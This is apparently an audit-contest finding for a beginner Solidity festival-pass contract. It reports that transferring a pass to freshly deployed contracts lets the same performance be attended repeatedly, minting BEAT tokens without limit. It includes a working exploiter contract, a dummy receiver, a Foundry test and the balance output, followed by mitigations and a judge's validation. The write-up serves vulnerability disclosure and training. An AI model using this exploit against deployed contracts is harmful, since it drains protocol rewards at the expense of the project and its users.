Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of Token-Based Attendance Tracking Enables Unlimited BEAT Minting Through Pass Transfers

Lack of Token-Based Attendance Tracking Enables Unlimited BEAT Minting Through Pass Transfers, resulting in Protocol Abuse

Description

  • After attending a performance and receiving BEAT token rewards, a user can transfer their pass to another address (e.g., a freshly deployed contract) and have it attend the same performance again.

  • Causing infinite attendances of the same performance with a single pass as long as the performance is active.

@> function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}

Risk

Likelihood:

  • High: This attack is easy to perform using a simple dummy contract.

  • Requires only one BACKSTAGE pass to disrupt the whole protocol.

Impact:

  • Extremely high: Unlimited BEAT token minting via repeated attendances.

  • Breaking the reward system causing protocol abuse and letting users maliciously acquire unique memorabilias.

Proof of Concept

  1. User attends a performance with a BACKSTAGE pass festival.attendPerformance(performanceId);

  2. Transfer the pass to a dummy contract pass.safeTransferFrom(user, dummyContract, BACKSTAGE_PASS_ID, 1, "");

  3. Dummy contract attends the same performance again dummyContract.attend(performanceId);

  4. Repeat with another fresh contract to mint infinite BEAT tokens

Beat tokens received via buy: 15000000000000000000 //15e18
Beat tokens received after attending performance: 315000000000000000000 //315e18 (3 * 100e18 + 15e18)[expected]
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 615000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 915000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 1215000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 1515000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 1815000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 2115000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 2415000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 2715000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 3015000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 3315000000000000000000 //After 10 iterations, total BEAT tokens = 3315e18 [actual]
//test case for running the exploit
function test_Buy_multiple_Memorabilias() external {
vm.prank(user1);
BeatTokenExploiter attackContract = new BeatTokenExploiter(festivalPass, beatToken);
attackContract.buyPass{value: 0.25 ether}();
uint256 startTime = block.timestamp + 1 hours;
uint256 duration = 2 hours;
uint256 reward = 100e18;
vm.prank(organizer);
uint256 perfId = festivalPass.createPerformance(startTime, duration, reward);
vm.warp(startTime + 30 minutes);
attackContract.exploit(perfId);
vm.prank(organizer);
uint256 collectionId =
festivalPass.createMemorabiliaCollection("Golden Hats", "ipfs://QmGoldenHats", 50e18, 10, true);
attackContract.receiveMemorabilia(collectionId);
}
//Main exploiter contract
contract BeatTokenExploiter {
FestivalPass immutable pass;
BeatToken immutable beat;
constructor(FestivalPass _pass, BeatToken _beat) {
pass = _pass;
beat = _beat;
}
// Buy a pass to enable attacks
function buyPass() external payable {
pass.buyPass{value: msg.value}(3); // Buy BACKSTAGE pass
console.log("Beat tokens received via buy: ", BeatToken(beat).balanceOf(address(this)));
}
// Main attack function
function exploit(uint256 performanceId) external {
// Step 1: Attend the performance legitimately once
pass.attendPerformance(performanceId);
console.log("Beat tokens received after attending performance: ", BeatToken(beat).balanceOf(address(this)));
for (uint256 i = 0; i < 10; i++) {
// Step 2: create a dummy pass receiver
address dummy = address(new DummyReceiver());
// Step 3: Transfer pass to a new address to reset cooldown
pass.safeTransferFrom(address(this), dummy, 3, 1, "");
// Step 4: Have dummy attend the performance
DummyReceiver(dummy).attend(pass, performanceId, address(beat));
console.log("Beat tokens Total: ", BeatToken(beat).balanceOf(address(this)));
}
}
function receiveMemorabilia(uint256 collectionId) external {
(,, uint256 price, uint256 maxSupply,, bool isActive) = pass.collections(collectionId);
for (uint256 i = 1; i < maxSupply; i++) { //this loop will run maxSupply - 1 times.
uint256 beatBalance = beat.balanceOf(address(this));
if (beatBalance >= price && isActive) {
pass.redeemMemorabilia(collectionId);
}
}
(,,,, uint256 collectionItem,) = pass.collections(collectionId);
console.log("collectionItem: ", collectionItem, maxSupply);
assert(maxSupply == collectionItem);
}
// Withdraw stolen BEAT tokens
function withdraw() external {
beat.transfer(msg.sender, beat.balanceOf(address(this)));
}
function onERC1155Received(address, address, uint256, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC1155Received.selector;
}
}
//Dummy receiver contract for attending performances
contract DummyReceiver {
function attend(FestivalPass pass, uint256 performanceId, address beat) external {
pass.attendPerformance(performanceId);
console.log(
"Beat tokens received by dummy after attending performance: ", BeatToken(beat).balanceOf(address(this))
);
pass.safeTransferFrom(address(this), msg.sender, 3, 1, "");
BeatToken(beat).transfer(msg.sender, BeatToken(beat).balanceOf(address(this)));
}
function onERC1155Received(address, address, uint256, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC1155Received.selector;
}
}

Recommended Mitigation

  1. Non-Transferable Soulbound Passes: Override transfer functions to prevent pass transfers Or implement a "binding" mechanism where passes become non-transferable after first use.

  2. Implement stronger attendance tracking that binds attendance to the pass token ID or event log, rather than solely to the user address

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.